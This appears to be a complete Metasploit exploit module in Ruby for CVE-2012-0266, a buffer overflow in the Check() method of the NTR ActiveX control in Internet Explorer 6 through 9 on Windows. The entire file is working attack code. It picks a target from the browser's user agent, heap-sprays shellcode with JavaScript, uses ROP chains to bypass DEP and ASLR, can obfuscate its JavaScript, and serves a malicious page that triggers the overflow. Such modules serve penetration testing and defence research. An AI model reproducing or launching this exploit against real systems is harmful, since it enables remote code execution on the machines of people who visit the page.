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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name=> HttpClients::IE, :ua_minver=> "6.0", :ua_maxver=> "9.0", :javascript => true, :os_name=> OperatingSystems::WINDOWS, :classid=> "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}", :method => "Check", :rank => NormalRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'NTR ActiveX Control Check() Method Buffer Overflow', 'Description'=> %q{ This module exploits a vulnerability found in NTR ActiveX 1.1.8. The vulnerability exists in the Check() method, due to the insecure usage of strcat to build a URL using the bstrParams parameter contents (note: this is also the reason why the module won't allow you to modify the URIPATH), which leads to code execution under the context of the user visiting a malicious web page. In order to bypass DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed. }, 'Author' => [ 'Carsten Eiram', # Vuln discovery 'juan vazquez' # Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2012-0266' ], [ 'OSVDB', '78252' ], [ 'BID', '51374' ], [ 'URL', 'http://secunia.com/secunia_research/2012-1/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space' => 956, 'DisableNops' => true, 'BadChars'=> "", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions'=> { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ # NTR ActiveX 1.1.8.0 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5f4', 'Random' => false, 'Ret' => 0x0c0c0c0c } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5f4', 'Random' => false, 'Ret' => 0x0c0c0c0c } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Random' => false, 'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt } ], [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Random' => false, 'Ret' => 0x0c0c0c0c } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false, 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6 } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false, 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6 } ], [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe', 'Random' => true, 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6 } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jan 11 2012', 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class ) deregister_options('URIPATH') end # # Returns a random URI path which allows to reach the vulnerable code # def resource_uri path = random_uri path << random_uri return path end # # Generates a random URI for use with making finger printing more # challenging. # def random_uri "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6) end # Spray published by corelanc0d3r # Exploit writing tutorial part 11 : Heap Spraying Demystified # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ def get_random_spray(t, js_code, js_nops) spray = <<-JS function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset_length = #{t['Offset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length); var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } JS return spray end def get_spray(t, js_code, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 449; z++) { heap_obj.alloc(block); } JS return spray end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3] #IE 7 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[4] #IE 7 on Windows Vista SP2 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/ return targets[5] #IE 7 on Windows Vista SP2 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ return targets[6] #IE 7 on Windows 7 SP1 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/ return targets[7] #IE 7 on Windows 7 SP1 else return nil end end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'}) else print_status("Using JRE ROP") rop_payload = generate_rop_payload('java', code) end return rop_payload end def on_request_uri(cli, request) agent = request.headers['User-Agent'] print_status("User-agent: #{agent}") my_target = get_target(agent) # Avoid the attack if the victim doesn't have a setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end p = get_payload(my_target, cli) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) if my_target['Random'] js = get_random_spray(my_target, js_code, js_random_nops) else js = get_spray(my_target, js_code, js_nops) end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end # The overflow occurs after strcat'ing controlled data to # a url with the next format: # http://192.168.1.128:8080/asdf/mod/mod.asp?a=0&d=[USER DATA] # # The URI length can be calculated on the fly since the value # for the "a" param is being always 0 on my tests, even when # should be the result of GetTickCount my_uri = get_uri(cli) pos = my_uri.rindex("/") my_uri = my_uri[0, pos] my_uri << "/mod/mod.asp?a=0&d=" my_badchars = "\x00\x0a\x0d\x22\x2c" if my_target['Rop'].nil? bof = rand_text_alpha(1056 - my_uri.length, my_badchars) bof << [my_target.ret].pack("V") else bof = rand_text_alpha(1024 - my_uri.length, my_badchars) bof << [0x0c0c0c0c].pack("V") # will become ESP after stackpivot bof << rand_text_alpha(1056 - my_uri.length - bof.length, my_badchars) bof << [my_target.ret].pack("V") # stackpivot end sploit = "#{bof},#{rand_text_alpha(4)},#{rand_text_alpha(4)}" html = <<-MYHTML <html> <head> <script> #{js} </script> </head> <body> <object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='test'></object> <script> test.Check("#{sploit}"); </script> </body> </html> MYHTML html = html.gsub(/^\t\t/, '') print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end |
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